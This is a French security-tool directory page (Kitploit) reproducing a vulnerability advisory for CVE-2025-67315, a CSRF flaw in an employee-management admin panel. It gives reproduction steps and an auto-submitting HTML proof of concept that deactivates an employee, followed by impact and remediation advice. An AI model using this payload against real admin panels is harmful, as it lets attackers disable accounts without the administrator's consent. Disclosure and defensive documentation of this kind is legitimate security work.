Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2025-67315 | Kitploit
Outils/GitHubGitHub/r-pradyun/cve-2025-67315
Analyse des VulnérabilitésExploitationSécurité WebCTFTests d'IntrusionApprentissage et Éducation
GitHubr-pradyun/cve-2025-67315

CVE-2025-67315

Voir le dépôt
il y a 7 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CSRF pour désactiver n’importe quel employé

Résumé

La fonctionnalité Gérer les employés est vulnérable à la falsification de requête intersite (CSRF).
Un attaquant peut inciter un administrateur connecté à envoyer une requête forgée qui désactive un employé (par exemple inid=1) sans que l’administrateur en ait connaissance ou n’y consente.


Score de base CVSS : 5.4 (MOYEN)

Vecteur : CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:L


Fonctionnalité concernée

  • Module : Panneau d’administration → Employés → Gérer les employés

  • Action : Désactiver un employé (via le paramètre inid)


Étapes de reproduction

  1. Se connecter en tant qu’administrateur

    • Accédez au endpoint /admin et connectez-vous avec des identifiants administrateur valides.

    image

  2. Ouvrir Gérer les employés

    • Dans le tableau de bord, cliquez sur Employés → Gérer les employés.

    image

  3. Intercepter la requête de désactivation

    • Activez l’interception dans votre proxy (par exemple Burp Suite).

    • Cliquez sur Inactif pour un employé et capturez la requête qui désactive l’utilisateur.

    • Notez le paramètre inid dans la requête (par exemple inid=1).

    image

  4. Générer un PoC CSRF

    • À l’aide des détails de la requête interceptée, créez un fichier HTML qui envoie une requête avec inid=1 pour désactiver l’utilisateur 1.

    image

  5. Déclencher le CSRF en tant que victime

    • Hébergez ou ouvrez le PoC HTML dans un navigateur.


Preuve de concept CSRF (HTML)

Voici une preuve de concept typique supposant une requête POST avec le paramètre inid :

root@kitploit:~
<html>
  <body>
    <form action="http://localhost/elms/admin/manageemployee.php">
      <input type="hidden" name="inid" value="1" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>
  • Enregistrez ce fichier sous csrf_inactivate_emp1.html.

  • Envoyez/hébergez ce fichier et faites en sorte qu’un administrateur authentifié le charge et clique sur le bouton.


Impact

  • Un attaquant peut forcer un administrateur authentifié à désactiver des employés arbitraires en l’incitant à visiter une page malveillante.

  • Cela peut conduire à :

    • Désactivation non autorisée de comptes, affectant la disponibilité des comptes utilisateurs.

    • Perturbation opérationnelle (par exemple, des employés désactivés pendant des opérations critiques).

    • Abus potentiel combiné à d’autres vulnérabilités (par exemple, désactivation de certains comptes de surveillance ou privilégiés).

  • L’attaque nécessite uniquement :

    • L’administrateur soit connecté, et

    • L’administrateur visite une URL/page malveillante contrôlée par l’attaquant (hameçonnage, iframe intégrée, lien malveillant, etc.).

Étant donné que cela manipule directement la gestion des utilisateurs dans le portail d’administration, ce problème doit être considéré comme de gravité élevée.


Remédiation

  1. Implémenter des jetons de protection CSRF

    • Ajoutez un jeton CSRF imprévisible et cryptographiquement sûr à toutes les requêtes modifiant l’état (par exemple, désactivation, suppression, mises à jour).

    • Intégrez le jeton dans les formulaires en tant que champ masqué.

    • Côté serveur, validez :

      • La présence du jeton,

      • La validité du jeton, et

      • L’association du jeton à la session utilisateur actuelle.

    • Rejetez la requête si le jeton est absent ou invalide.

  2. Utiliser des cookies SameSite

    • Définissez les cookies de session avec SameSite=Lax ou, de préférence, SameSite=Strict lorsque c’est possible.

    • Cela empêche l’envoi automatique des cookies lors de requêtes intersites, réduisant ainsi le risque de CSRF.

  3. Appliquer des méthodes HTTP appropriées

    • Assurez-vous que toutes les opérations modifiant l’état (comme la désactivation d’un employé) utilisent POST (ou PUT/DELETE) plutôt que GET.

    • N’acceptez pas les changements d’état sensibles via les paramètres GET.

  4. Valider les en-têtes Origin / Referer

    • Sur les endpoints sensibles, vérifiez l’en-tête Origin ou Referer pour vous assurer que les requêtes proviennent de domaines de confiance.

    • Si l’en-tête est manquant ou provient d’une origine non fiable, rejetez la requête.

  5. Durcissement de l’interface / du flux de travail

    • Ajoutez des flux de confirmation côté serveur ou de ré-authentification pour les actions sensibles (par exemple, la désactivation d’utilisateurs ayant des rôles d’administrateur).


Télécharger l’outil
  • Pendant que l’administrateur est connecté à l’application, s’il visite cette page PoC et soumet le formulaire, l’utilisateur 1 sera désactivé.

  • image

  • Vérifier l’effet

    • Revenez au tableau de bord administrateur → Gérer les employés.

    • Observez que l’utilisateur 1 est maintenant marqué comme Inactif.

    image

  • Implémentez des contrôles d’autorisation appropriés pour garantir que seuls les rôles prévus peuvent effectuer l’action, même en cas de tentative de CSRF.

  • Tests de sécurité

    • Intégrez des contrôles CSRF dans les tests de sécurité réguliers (manuels et automatisés).

    • Retestez ce endpoint (et les endpoints similaires) après avoir implémenté les protections pour vérifier que le PoC ne fonctionne plus.